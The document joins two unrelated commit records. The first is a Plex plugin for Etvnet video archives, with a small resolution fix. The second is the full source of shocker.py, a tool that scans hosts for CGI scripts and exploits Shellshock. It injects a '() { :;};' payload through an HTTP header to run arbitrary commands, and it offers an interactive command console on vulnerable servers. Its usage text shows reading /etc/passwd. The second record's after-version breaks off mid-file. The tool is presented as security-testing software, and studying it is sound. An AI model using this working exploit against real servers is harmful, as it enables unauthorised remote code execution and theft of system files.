<commit_before>import json
import urllib

import util
import common
import pagination
import bookmarks

@route(common.PREFIX + '/archive_menu')
def GetArchiveMenu():
    oc = ObjectContainer(title2=unicode(L('Archive')))

    oc.add(DirectoryObject(key=Callback(GetChannels), title=unicode(L('Channels'))))

    result = service.get_genres()

    for genre in result['data']:
        if genre['id'] == 207: # blockbusters
            continue

        key = Callback(HandleGenre, id=genre['id'], name=genre['name'])
        title = genre['name']

        oc.add(DirectoryObject(key=key, title=title))

    oc.add(InputDirectoryObject(
        key = Callback(SearchMovies),
        title = unicode(L("Movies Search")),
        prompt = unicode(L('Search on Etvnet')),
        thumb = R(common.SEARCH_ICON)))

    return oc

@route(common.PREFIX + '/search_movies')
def SearchMovies(query=None, page=1, **params):
    response = service.search(query=query, per_page=util.get_elements_per_page(), page=page)

    oc = ObjectContainer(title2=unicode(L('Movies Search')))

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=SearchMovies, query=query, params=params)

    if len(oc) < 1:
        return util.no_contents('Movies Search')

    return oc

@route(common.PREFIX + '/topics_menu')
def GetTopicsMenu():
    oc = ObjectContainer(title2=unicode(L('Topics')))

    for topic in service.TOPICS:
        oc.add(DirectoryObject(
            key=Callback(HandleTopic, id=topic),
            title=unicode(L(topic))
        ))

    return oc

@route(common.PREFIX + '/topic')
def HandleTopic(id, page=1, **params):
    oc = ObjectContainer(title2=unicode(L(id)))

    response = service.get_topic_items(id, page=page, per_page=util.get_elements_per_page())

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], callback=HandleTopic, id=id, page=page, params=params)

    return oc

@route(common.PREFIX + '/channels')
def GetChannels():
    oc = ObjectContainer(title2=unicode(L('Channels')))

    response = service.get_channels()

    for channel in response['data']:
        if channel['id'] == 158: # cool movies
            continue

        key = Callback(HandleChannel, id=channel['id'], name=channel['name'])
        title = unicode(channel['name'])

        oc.add(DirectoryObject(key=key, title=title))

    return oc

@route(common.PREFIX + '/channel')
def HandleChannel(id, name, page=1, **params):
    oc = ObjectContainer(title2=unicode(name))

    response = service.get_archive(channel_id=id, per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=HandleChannel, id=id, name=name, params=params)

    return oc

@route(common.PREFIX + '/genre')
def HandleGenre(id, name, page=1, **params):
    oc = ObjectContainer(title2=unicode(name))

    response = service.get_archive(genre=int(id), per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=HandleGenre, id=id, name=name, params=params)

    return oc

@route(common.PREFIX + '/blockbusters')
def GetBlockbusters(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('Blockbusters')))

    response = service.get_blockbusters(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetBlockbusters, params=params)

    return oc

@route(common.PREFIX + '/cool_movies')
def GetCoolMovies(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('Cool Movies')))

    response = service.get_cool_movies(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetCoolMovies, params=params)

    return oc

@route(common.PREFIX + '/new_arrivals')
def GetNewArrivals(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('New Arrivals')))

    response = service.get_new_arrivals(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetNewArrivals)

    return oc

@route(common.PREFIX + '/history')
def GetHistory(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('History')))

    response = service.get_history(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetHistory, params=params)

    return oc

def HandleMediaList(response, in_queue=False):
    list = []

    for media in response:
        type = media['type']
        id = media['id']
        name = media['name']
        thumb = media['thumb']

        if type == 'Container':
            key = Callback(HandleChildren, id=id, name=name, thumb=thumb, in_queue=in_queue)

            list.append(DirectoryObject(key=key, title=name, thumb=thumb))
        else:
            if type == 'MediaObject':
                key = Callback(HandleChild,
                    id = id,
                    name = name,
                    thumb = thumb,
                    rating_key = media['rating'],
                    description = media['description'],
                    duration = media['duration'],
                    year = media['year'],
                    on_air = media['on_air'],
                    index = media['series_num'],
                    files = json.dumps(media['files']
                ))

                watch_status = media['watch_status']

                if watch_status == 1:
                    name = "~ " + name
                elif watch_status == 2:
                    name = "* " + name

                list.append(DirectoryObject(key=key, title=name, thumb=thumb))

    return list

@route(common.PREFIX + '/children')
def HandleChildren(id, name, thumb, operation=None, in_queue=False, page=1, dir='desc'):
    oc = ObjectContainer(title2=unicode(name))

    if operation == 'add':
        service.add_bookmark(id)
    elif operation == 'remove':
        service.remove_bookmark(id)

    response = service.get_children(int(id), per_page=util.get_elements_per_page(), page=page, dir=dir)

    for media in HandleMediaList(response['data']['children'], in_queue=in_queue):
        oc.add(media)

    bookmarks.append_controls(oc, HandleChildren, id=id, name=name, thumb=thumb, operation=operation)
    append_sorting_controls(oc, HandleChildren, id=id, name=name, thumb=thumb, in_queue=in_queue, page=page, dir=dir)

    pagination.append_controls(oc, response['data'], callback=HandleChildren, id=id, name=name, thumb=thumb,
                               in_queue=in_queue, page=page, dir=dir)

    return oc

@route(common.PREFIX + '/child', container=bool)
def HandleChild(id, name, thumb, rating_key, description, duration, year, on_air, index,
                files, operation=None, container=False):
    oc = ObjectContainer(title2=unicode(name))

    if operation == 'add':
        service.add_bookmark(id)
    elif operation == 'remove':
        service.remove_bookmark(id)

    oc.add(MetadataObjectForURL(id, 'movie', name, thumb, rating_key, description, duration, year, on_air, index, files))

    if str(container) == 'False':
        bookmarks.append_controls(oc, HandleChild, id=id, name=name, thumb=thumb,
                                  rating_key=rating_key, description=description, duration=duration, year=year,
                                  on_air=on_air, index=index, files=files, operation=operation, container=container)
    return oc

def append_sorting_controls(oc, handler, **params):
    if params['dir'] == 'asc':
        params['dir'] = 'desc'
    else:
        params['dir'] = 'asc'

    oc.add(DirectoryObject(
            key=Callback(handler, **params),
            title=unicode(L('Sort Items')),
            thumb="thumb"
    ))

def originally_available_at(on_air):
    return Datetime.ParseDate(on_air.replace('+', ' ')).date()

def MetadataObjectForURL(id, media_type, name, thumb, rating_key, description, duration, year, on_air, index, files):
    video = builder.build_metadata_object(media_type=media_type, name=name, year=year, index=index)

    video.rating_key = rating_key
    video.thumb = thumb
    video.art = thumb
    video.duration = int(duration)*60*1000
    video.summary = unicode(description)
    video.originally_available_at = originally_available_at(on_air)

    video.key = Callback(HandleChild, id=id, name=name, thumb=thumb,
                         rating_key=rating_key, description=description, duration=duration, year=year,
                         on_air=on_air, index=index, files=files, container=True)

    files = json.loads(urllib.unquote_plus(files))

    video.items.extend(MediaObjectsForURL(files=files, media_id=id))

    return video

def MediaObjectsForURL(files, media_id):
    items = []

    # Log(Client.Platform in util.RAW_HLS_CLIENTS)
    # Log(Client.Product) # Plex Web
    # Log(Client.Platform) # Safari

    format = util.get_format()
    quality_level = util.get_quality_level()

    # if Client.Platform == 'Chrome':
    #     quality_level = util.get_quality_level()
    # else:
    #     quality_level = None

    for format, bitrates in service.bitrates(files, format, quality_level).iteritems():
        media_objects = []

        for bitrate in sorted(bitrates, reverse=True):
            video_resolution = service.bitrate_to_resolution(bitrate)[0]

            play_callback = Callback(PlayVideo, media_id=media_id, bitrate=bitrate, format=str(format))

            media_object = builder.build_media_object(play_callback, video_resolution=video_resolution, bitrate=bitrate)

            media_objects.append(media_object)

        items.extend(media_objects)

    return items

@indirect
@route(common.PREFIX + '/play_video')
def PlayVideo(media_id, bitrate, format):
    response = service.get_url(media_id=media_id, format=format, bitrate=bitrate, other_server=util.other_server())

    url = response['url']

    if not url:
        util.no_contents()
    else:
        # new_url = Callback(Playlist, url=url)

        return IndirectResponse(MovieObject, key=HTTPLiveStreamURL(url))

@route(common.PREFIX + '/Playlist.m3u8')
def Playlist(url):
    return service.get_play_list(url)
<commit_msg>fix resolution<commit_after>import json
import urllib

import util
import common
import pagination
import bookmarks

@route(common.PREFIX + '/archive_menu')
def GetArchiveMenu():
    oc = ObjectContainer(title2=unicode(L('Archive')))

    oc.add(DirectoryObject(key=Callback(GetChannels), title=unicode(L('Channels'))))

    result = service.get_genres()

    for genre in result['data']:
        if genre['id'] == 207: # blockbusters
            continue

        key = Callback(HandleGenre, id=genre['id'], name=genre['name'])
        title = genre['name']

        oc.add(DirectoryObject(key=key, title=title))

    oc.add(InputDirectoryObject(
        key = Callback(SearchMovies),
        title = unicode(L("Movies Search")),
        prompt = unicode(L('Search on Etvnet')),
        thumb = R(common.SEARCH_ICON)))

    return oc

@route(common.PREFIX + '/search_movies')
def SearchMovies(query=None, page=1, **params):
    response = service.search(query=query, per_page=util.get_elements_per_page(), page=page)

    oc = ObjectContainer(title2=unicode(L('Movies Search')))

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=SearchMovies, query=query, params=params)

    if len(oc) < 1:
        return util.no_contents('Movies Search')

    return oc

@route(common.PREFIX + '/topics_menu')
def GetTopicsMenu():
    oc = ObjectContainer(title2=unicode(L('Topics')))

    for topic in service.TOPICS:
        oc.add(DirectoryObject(
            key=Callback(HandleTopic, id=topic),
            title=unicode(L(topic))
        ))

    return oc

@route(common.PREFIX + '/topic')
def HandleTopic(id, page=1, **params):
    oc = ObjectContainer(title2=unicode(L(id)))

    response = service.get_topic_items(id, page=page, per_page=util.get_elements_per_page())

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], callback=HandleTopic, id=id, page=page, params=params)

    return oc

@route(common.PREFIX + '/channels')
def GetChannels():
    oc = ObjectContainer(title2=unicode(L('Channels')))

    response = service.get_channels()

    for channel in response['data']:
        if channel['id'] == 158: # cool movies
            continue

        key = Callback(HandleChannel, id=channel['id'], name=channel['name'])
        title = unicode(channel['name'])

        oc.add(DirectoryObject(key=key, title=title))

    return oc

@route(common.PREFIX + '/channel')
def HandleChannel(id, name, page=1, **params):
    oc = ObjectContainer(title2=unicode(name))

    response = service.get_archive(channel_id=id, per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=HandleChannel, id=id, name=name, params=params)

    return oc

@route(common.PREFIX + '/genre')
def HandleGenre(id, name, page=1, **params):
    oc = ObjectContainer(title2=unicode(name))

    response = service.get_archive(genre=int(id), per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=HandleGenre, id=id, name=name, params=params)

    return oc

@route(common.PREFIX + '/blockbusters')
def GetBlockbusters(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('Blockbusters')))

    response = service.get_blockbusters(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetBlockbusters, params=params)

    return oc

@route(common.PREFIX + '/cool_movies')
def GetCoolMovies(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('Cool Movies')))

    response = service.get_cool_movies(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetCoolMovies, params=params)

    return oc

@route(common.PREFIX + '/new_arrivals')
def GetNewArrivals(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('New Arrivals')))

    response = service.get_new_arrivals(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetNewArrivals)

    return oc

@route(common.PREFIX + '/history')
def GetHistory(page=1, **params):
    oc = ObjectContainer(title2=unicode(L('History')))

    response = service.get_history(per_page=util.get_elements_per_page(), page=page)

    for media in HandleMediaList(response['data']['media']):
        oc.add(media)

    pagination.append_controls(oc, response['data'], page=page, callback=GetHistory, params=params)

    return oc

def HandleMediaList(response, in_queue=False):
    list = []

    for media in response:
        type = media['type']
        id = media['id']
        name = media['name']
        thumb = media['thumb']

        if type == 'Container':
            key = Callback(HandleChildren, id=id, name=name, thumb=thumb, in_queue=in_queue)

            list.append(DirectoryObject(key=key, title=name, thumb=thumb))
        else:
            if type == 'MediaObject':
                key = Callback(HandleChild,
                    id = id,
                    name = name,
                    thumb = thumb,
                    rating_key = media['rating'],
                    description = media['description'],
                    duration = media['duration'],
                    year = media['year'],
                    on_air = media['on_air'],
                    index = media['series_num'],
                    files = json.dumps(media['files']
                ))

                watch_status = media['watch_status']

                if watch_status == 1:
                    name = "~ " + name
                elif watch_status == 2:
                    name = "* " + name

                list.append(DirectoryObject(key=key, title=name, thumb=thumb))

    return list

@route(common.PREFIX + '/children')
def HandleChildren(id, name, thumb, operation=None, in_queue=False, page=1, dir='desc'):
    oc = ObjectContainer(title2=unicode(name))

    if operation == 'add':
        service.add_bookmark(id)
    elif operation == 'remove':
        service.remove_bookmark(id)

    response = service.get_children(int(id), per_page=util.get_elements_per_page(), page=page, dir=dir)

    for media in HandleMediaList(response['data']['children'], in_queue=in_queue):
        oc.add(media)

    bookmarks.append_controls(oc, HandleChildren, id=id, name=name, thumb=thumb, operation=operation)
    append_sorting_controls(oc, HandleChildren, id=id, name=name, thumb=thumb, in_queue=in_queue, page=page, dir=dir)

    pagination.append_controls(oc, response['data'], callback=HandleChildren, id=id, name=name, thumb=thumb,
                               in_queue=in_queue, page=page, dir=dir)

    return oc

@route(common.PREFIX + '/child', container=bool)
def HandleChild(id, name, thumb, rating_key, description, duration, year, on_air, index,
                files, operation=None, container=False):
    oc = ObjectContainer(title2=unicode(name))

    if operation == 'add':
        service.add_bookmark(id)
    elif operation == 'remove':
        service.remove_bookmark(id)

    oc.add(MetadataObjectForURL(id, 'movie', name, thumb, rating_key, description, duration, year, on_air, index, files))

    if str(container) == 'False':
        bookmarks.append_controls(oc, HandleChild, id=id, name=name, thumb=thumb,
                                  rating_key=rating_key, description=description, duration=duration, year=year,
                                  on_air=on_air, index=index, files=files, operation=operation, container=container)
    return oc

def append_sorting_controls(oc, handler, **params):
    if params['dir'] == 'asc':
        params['dir'] = 'desc'
    else:
        params['dir'] = 'asc'

    oc.add(DirectoryObject(
            key=Callback(handler, **params),
            title=unicode(L('Sort Items')),
            thumb="thumb"
    ))

def originally_available_at(on_air):
    return Datetime.ParseDate(on_air.replace('+', ' ')).date()

def MetadataObjectForURL(id, media_type, name, thumb, rating_key, description, duration, year, on_air, index, files):
    video = builder.build_metadata_object(media_type=media_type, name=name, year=year, index=index)

    video.rating_key = rating_key
    video.thumb = thumb
    video.art = thumb
    video.duration = int(duration)*60*1000
    video.summary = unicode(description)
    video.originally_available_at = originally_available_at(on_air)

    video.key = Callback(HandleChild, id=id, name=name, thumb=thumb,
                         rating_key=rating_key, description=description, duration=duration, year=year,
                         on_air=on_air, index=index, files=files, container=True)

    files = json.loads(urllib.unquote_plus(files))

    video.items.extend(MediaObjectsForURL(files=files, media_id=id))

    return video

def MediaObjectsForURL(files, media_id):
    items = []

    # Log(Client.Platform in util.RAW_HLS_CLIENTS)
    # Log(Client.Product) # Plex Web
    # Log(Client.Platform) # Safari

    format = util.get_format()
    quality_level = util.get_quality_level()

    # if Client.Platform == 'Chrome':
    #     quality_level = util.get_quality_level()
    # else:
    #     quality_level = None

    for format, bitrates in service.bitrates(files, format, quality_level).iteritems():
        media_objects = []

        for bitrate in sorted(bitrates, reverse=True):
            #video_resolution = service.bitrate_to_resolution(bitrate)[0]

            play_callback = Callback(PlayVideo, media_id=media_id, bitrate=bitrate, format=str(format))

            media_object = builder.build_media_object(play_callback, video_resolution=bitrate)

            media_objects.append(media_object)

        items.extend(media_objects)

    return items

@indirect
@route(common.PREFIX + '/play_video')
def PlayVideo(media_id, bitrate, format):
    response = service.get_url(media_id=media_id, format=format, bitrate=bitrate, other_server=util.other_server())

    url = response['url']

    if not url:
        util.no_contents()
    else:
        # new_url = Callback(Playlist, url=url)

        return IndirectResponse(MovieObject, key=HTTPLiveStreamURL(url))

@route(common.PREFIX + '/Playlist.m3u8')
def Playlist(url):
    return service.get_play_list(url)
<|endoftext|>


<commit_before>#!/usr/bin/python

"""
shocker.py v0.6
A tool to find and exploit webservers vulnerable to Shellshock

##############################################################################
# Released as open source by NCC Group Plc - http://www.nccgroup.com/        #
#                                                                            #
# Developed by Tom Watson, tom.watson@nccgroup.com                           #
#                                                                            #
# http://www.github.com/nccgroup/shocker                                     #
#                                                                            #
# Released under the GNU Affero General Public License                       #
# (http://www.gnu.org/licenses/agpl-3.0.html)                                #
##############################################################################

Usage examples:
./shocker.py -H 127.0.0.1 -e "/bin/cat /etc/passwd" -c /cgi-bin/test.cgi
Scans for http://127.0.0.1/cgi-bin/test.cgi and, if found, attempts to cat
/etc/passwd

./shocker.py -H www.example.com -p 8001 -s
Scan www.example.com on port 8001 using SSL for all scripts in cgi_list and
attempts the default exploit for any found

./shocker.py -f iplist
Scans all hosts specified in the file ./iplist with default options

Read the README for more details
"""

import urllib2
import argparse
import string
import StringIO
import random
import signal
import sys
import socket
import Queue
import threading
import re
from collections import OrderedDict

# User-agent to use instead of 'Python-urllib/2.6' or similar
user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"

# Handle CTRL-c elegently
def signal_handler(signal, frame):
    """ Try to catch and respond to CTRL-Cs
    """

    sys.exit(0)

def check_hosts(host_target_list, port, verbose):
    """ Do some basic sanity checking on hosts to make sure they resolve
    and are currently reachable on the specified port(s)
    """

    confirmed_hosts = [] # List of resoveable and reachable hosts
    print "[+] Checking setup..."
    for host in host_target_list:
        try:
            if verbose: print "[I] Checking to see if %s resolves..." % host
            ipaddr = socket.gethostbyname(host)
            if verbose: print "[I] Resolved ok"
            if verbose: print "[I] Checking to see if %s is reachable on post %s..." % (host, port)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5.0)
            s.connect((ipaddr, int(port)))
            s.close()
            if verbose: print "[I] %s seems reachable..." % host
            confirmed_hosts.append(host)
        except Exception as e:
            print "[!] Exception - %s: %s" % (host, e)
            print "[!] Omitting %s from target list..." % host
    print "[+] Good to go!"
    return confirmed_hosts

def scan_hosts(protocol, host_target_list, port, cgi_list, proxy, verbose):
    """ Go through each potential cgi in cgi_list spinning up a thread for each
    check. Create Request objects for each check.
    """

    # List of potentially epxloitable URLs
    exploit_targets = []
    cgi_index = 0
    cgi_num = len(cgi_list)
    q = Queue.Queue()
    threads = []

    for host in host_target_list:
        print "[+] Starting host scan for %s on port %s" % (host, port)
        print "[+] Looking for CGIs..."
        for cgi in cgi_list:
            cgi_index += 1
            try:
                req = urllib2.Request(protocol + "://" + host + ":" + port + cgi)
                url = req.get_full_url()
                if proxy:
                    req.set_proxy(proxy, "http")

                # Pretend not to be Python for no particular reason
                req.add_header("User-Agent", user_agent)

                # Set the host header correctly (Python includes :port)
                req.add_header("Host", host)

                thread_pool.acquire()

                # Start a thread for each CGI in cgi_list
                if verbose: print "[I] Starting thread %i" % cgi_index
                t = threading.Thread(target = do_check_cgi, args = (req, q, verbose))
                t.start()
                threads.append(t)
            except Exception as e:
                if verbose: print "[I] %s - %s" % (url, e)
            finally:
                pass

        # Wait for all the threads to finish before moving on
        for thread in threads:
            thread.join()

        # Pop any results from the Queue and add them to the list of potentially
        # exploitable urls (exploit_targets) before returning that list
        while not q.empty():
            exploit_targets.append(q.get())
    print "[+] Finished host scan"
    return exploit_targets

def do_check_cgi(req, q, verbose):
    """ Worker thread for scan_hosts to check if url is reachable
    """

    try:
        if urllib2.urlopen(req, None, 5).getcode() == 200:
            q.put(req.get_full_url())
    except Exception as e:
        if verbose: print "[I] %s for %s" % (e, req.get_full_url())
    finally:
        thread_pool.release()

def do_exploit_cgi(proxy, target_list, command, verbose):
    """ For urls identified as potentially exploitable attempt to exploit
    """

    # Flag used to identify whether the exploit has successfully caused the
    # server to return a useful response
    success_flag = ''.join(
        random.choice(string.ascii_uppercase + string.digits
        ) for _ in range(20))

    # Dictionary {header:attack string} to try on discovered CGI scripts
    # Where attack string comprises exploit + success_flag + command
    attacks = {
       "Content-type": "() { :;}; echo; "
       }

    # A dictionary of apparently successfully exploited targets
    # {url: (header, exploit)}
    # Returned to main()
    successful_targets = OrderedDict()

    if len(target_list) > 1:
        print "[+] %i potential targets found" % len(target_list)
    else:
        print "[+] 1 potential target found"
    print "[+] Attempting exploits..."
    for target in target_list:
        print "[+] Trying exploit for %s" % target
        if verbose: print "  [I] Flag set to: %s" % success_flag
        for header, exploit in attacks.iteritems():
            attack = exploit + " echo " + success_flag + "; " + command
            result = do_attack(proxy, target, header, attack, verbose)
            if success_flag in result:
                print "  [!] %s looks vulnerable" % target
                print "  [!] Response returned was:"
                buf = StringIO.StringIO(result)
                if len(result) > (len(success_flag)+1):
                    for line in buf:
                        if line.strip() != success_flag:
                            print "  %s" % line.strip()
                else:
                    print "  [!] A result was returned but was empty..."
                    print "  [!] Maybe try a different exploit command?"
                successful_targets.update({target: (header, exploit)})
                buf.close()
            else:
                print "[-] Not vulnerable"
    return successful_targets

def do_attack(proxy, target, header, attack, verbose):
    result = ""
    host = target.split(":")[1][2:] # substring host from target URL

    try:
        if verbose:
            print "  [I] Header is: %s" % header
            print "  [I] Attack string is: %s" % attack
        req = urllib2.Request(target)
        req.add_header(header, attack)
        if proxy:
            req.set_proxy(proxy, "http")
            if verbose: print "  [I] Proxy set to: %s" % str(proxy)
        req.add_header("User-Agent", user_agent)
        req.add_header("Host", host)
        resp = urllib2.urlopen(req)
        result =  resp.read()
    except Exception as e:
        if verbose: print "[I] Exception - %s - %s" % (target, e)
    finally:
        pass
    return result

def ask_for_console(proxy, successful_targets, verbose):
    """ With any discovered vulnerable servers asks user if they
    would like to choose one of these to send further commands to
    in a semi interactive way
    successful_targets is a dictionary:
    {url: (header, exploit)}

    CURRENTLY MENU CHOICES ARE WRONG - TO BE FIXED
    """

    # Initialise to non zero to enter while loop
    user_input = 1
    ordered_url_list = successful_targets.keys()

    while user_input is not 0:
        result = ""
        print "[+] The following URLs appeared to be exploitable:"
        for x in range(len(successful_targets)):
            print "  [%i] %s" % (x+1, ordered_url_list[x-1])
        print "[+] Would you like exploit further?"
        user_input = raw_input("[?] Enter an URL number or 0 to exit: ")
        try:
            user_input = int(user_input)
        except:
            continue
        if user_input not in range(len(successful_targets)+1):
            print "[-] Please enter a number between 0 and %i" % len(successful_targets)
            continue
        elif not user_input:
            continue
        target = ordered_url_list[user_input-1]
        header = successful_targets[target][0]
        command = raw_input("[+] Enter command to run: ")
        if command:
            attack = successful_targets[target][1] + command
            result = do_attack(proxy, target, header, attack, verbose)
        else:
            print "[-] No command entered"
        print result

def validate_address(hostaddress):
    """ Attempt to identify if proposed host address is invalid by matching
    against some very rough regexes """

    singleIP_pattern = re.compile('^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
    FQDN_pattern = re.compile('^(\w+\.)*\w+$')
    if singleIP_pattern.match(hostaddress) or FQDN_pattern.match(hostaddress):
        return True
    else:
        print "Host %s appears invalid, exiting..." % hostaddress
        exit(0)

def get_targets_from_file(file_name):
    """ Import targets to scan from file
    """

    host_target_list = []
    with open(file_name, 'r') as f:
        for line in f:
            line = line.strip()
            if not line.startswith('#') and validate_address(line):
                host_target_list.append(line)
    print "[+] %i hosts imported from %s" % (len(host_target_list), file_name)
    return host_target_list

def import_cgi_list_from_file(file_name):
    """ Import CGIs to scan from file
    """

    cgi_list = []
    with open(file_name, 'r') as f:
        for line in f:
            if not line.startswith('#'):
                cgi_list.append(line.strip())
    print "[+] %i potential targets imported from %s" % (len(cgi_list), file_name)
    return cgi_list

def main():
    print """
   .-. .            .
  (   )|            |
   `-. |--. .-.  .-.|.-. .-. .--.
  (   )|  |(   )(   |-.'(.-' |
   `-' '  `-`-'  `-''  `-`--''  v0.6

 Tom Watson, tom.watson@nccgroup.com
 http://www.github.com/nccgroup/shocker

 Released under the GNU Affero General Public License
 (http://www.gnu.org/licenses/agpl-3.0.html)

    """

    # Handle CTRL-c elegently
    signal.signal(signal.SIGINT, signal_handler)

    # Handle command line argumemts
    parser = argparse.ArgumentParser(
        description='A Shellshock scanner and exploitation tool',
        epilog='Examples of use can be found in the README'
        )
    targets = parser.add_mutually_exclusive_group(required=True)
    targets.add_argument(
        '--Hostname',
        '-H',
        type = str,
        help = 'A target host'
        )
    targets.add_argument(
        '--file',
	'-f',
        type = str,
        help = 'File containing a list of targets'
        )
    cgis = parser.add_mutually_exclusive_group()
    cgis.add_argument(
        '--cgilist',
        type = str,
        default = './shocker-cgi_list',
        help = 'File containing a list of CGIs to try'
        )
    cgis.add_argument(
        '--cgi',
        '-c',
        type = str,
        help = "Single CGI to check (e.g. /cgi-bin/test.cgi)"
        )
    parser.add_argument(
        '--port',
        '-p',
        default = 80,
        type = int,
        help = 'The target port number (default=80)'
        )
    parser.add_argument(
        '--command',
        default = "/bin/uname -a",
        help = "Command to execute (default=/bin/uname -a)"
        )
    parser.add_argument(
        '--proxy',
        help = "*A BIT BROKEN RIGHT NOW* Proxy to be used in the form 'ip:port'"
        )
    parser.add_argument(
        '--ssl',
        '-s',
        action = "store_true",
        default = False,
        help = "Use SSL (default=False)"
        )
    parser.add_argument(
        '--threads',
        '-t',
        type = int,
        default = 10,
        help = "Maximum number of threads (default=10, max=100)"
        )
    parser.add_argument(
        '--verbose',
        '-v',
        action = "store_true",
        default = False,
        help = "Be verbose in output"
        )
    args = parser.parse_args()

    # Assign options to variables
    if args.Hostname:
        host_target_list = [args.Hostname]
    else:
        host_target_list = get_targets_from_file(args.file)
    if not len(host_target_list) > 0:
        print "[-] No valid targets provided, exiting..."
        exit (0)
    port = str(args.port)
    if args.proxy is not None:
        proxy = args.proxy
    else:
        proxy = ""
    verbose = args.verbose
    command = args.command
    if args.ssl == True or port == "443":
        protocol = "https"
    else:
        protocol = "http"
    global thread_pool
    if args.threads > 100:
        print "Maximum number of threads is 100"
        exit(0)
    else:
        thread_pool = threading.BoundedSemaphore(args.threads)
    if args.cgi is not None:
        cgi_list = [args.cgi]
        print "[+] Single target '%s' being used" % cgi_list[0]
    else:
        cgi_list = import_cgi_list_from_file(args.cgilist)

    # Check hosts resolve and are reachable on the chosen port
    confirmed_hosts = check_hosts(host_target_list, port, verbose)

    # Go through the cgi_list looking for any present on the target host
    target_list = scan_hosts(protocol, confirmed_hosts, port, cgi_list, proxy, verbose)

    # If any cgi scripts were found on the target host try to exploit them
    if len(target_list):
        successful_targets = do_exploit_cgi(proxy, target_list, command, verbose)
        if len(successful_targets):
            ask_for_console(proxy, successful_targets, verbose)
    else:
        print "[+] No potential targets found :("
    print "[+] The end"

if __name__ == '__main__':
    main()
<commit_msg>Minor change to text output<commit_after>#!/usr/bin/python

"""
shocker.py v0.6
A tool to find and exploit webservers vulnerable to Shellshock

##############################################################################
# Released as open source by NCC Group Plc - http://www.nccgroup.com/        #
#                                                                            #
# Developed by Tom Watson, tom.watson@nccgroup.com                           #
#                                                                            #
# http://www.github.com/nccgroup/shocker                                     #
#                                                                            #
# Released under the GNU Affero General Public License                       #
# (http://www.gnu.org/licenses/agpl-3.0.html)                                #
##############################################################################

Usage examples:
./shocker.py -H 127.0.0.1 -e "/bin/cat /etc/passwd" -c /cgi-bin/test.cgi
Scans for http://127.0.0.1/cgi-bin/test.cgi and, if found, attempts to cat
/etc/passwd

./shocker.py -H www.example.com -p 8001 -s
Scan www.example.com on port 8001 using SSL for all scripts in cgi_list and
attempts the default exploit for any found

./shocker.py -f iplist
Scans all hosts specified in the file ./iplist with default options

Read the README for more details
"""

import urllib2
import argparse
import string
import StringIO
import random
import signal
import sys
import socket
import Queue
import threading
import re
from collections import OrderedDict

# User-agent to use instead of 'Python-urllib/2.6' or similar
user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"

# Handle CTRL-c elegently
def signal_handler(signal, frame):
    """ Try to catch and respond to CTRL-Cs
    """

    sys.exit(0)

def check_hosts(host_target_list, port, verbose):
    """ Do some basic sanity checking on hosts to make sure they resolve
    and are currently reachable on the specified port(s)
    """

    confirmed_hosts = [] # List of resoveable and reachable hosts
    print "[+] Checking setup..."
    for host in host_target_list:
        try:
            if verbose: print "[I] Checking to see if %s resolves..." % host
            ipaddr = socket.gethostbyname(host)
            if verbose: print "[I] Resolved ok"
            if verbose: print "[I] Checking to see if %s is reachable on post %s..." % (host, port)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5.0)
            s.connect((ipaddr, int(port)))
            s.close()
            if verbose: print "[I] %s seems reachable..." % host
            confirmed_hosts.append(host)
        except Exception as e:
            print "[!] Exception - %s: %s" % (host, e)
            print "[!] Omitting %s from target list..." % host
    return confirmed_hosts

def scan_hosts(protocol, host_target_list, port, cgi_list, proxy, verbose):
    """ Go through each potential cgi in cgi_list spinning up a thread for each
    check. Create Request objects for each check.
    """

    # List of potentially epxloitable URLs
    exploit_targets = []
    cgi_index = 0
    cgi_num = len(cgi_list)
    q = Queue.Queue()
    threads = []

    for host in host_target_list:
        print "[+] Starting host scan for %s on port %s" % (host, port)
        print "[+] Looking for CGIs..."
        for cgi in cgi_list:
            cgi_index += 1
            try:
                req = urllib2.Request(protocol + "://" + host + ":" + port + cgi)
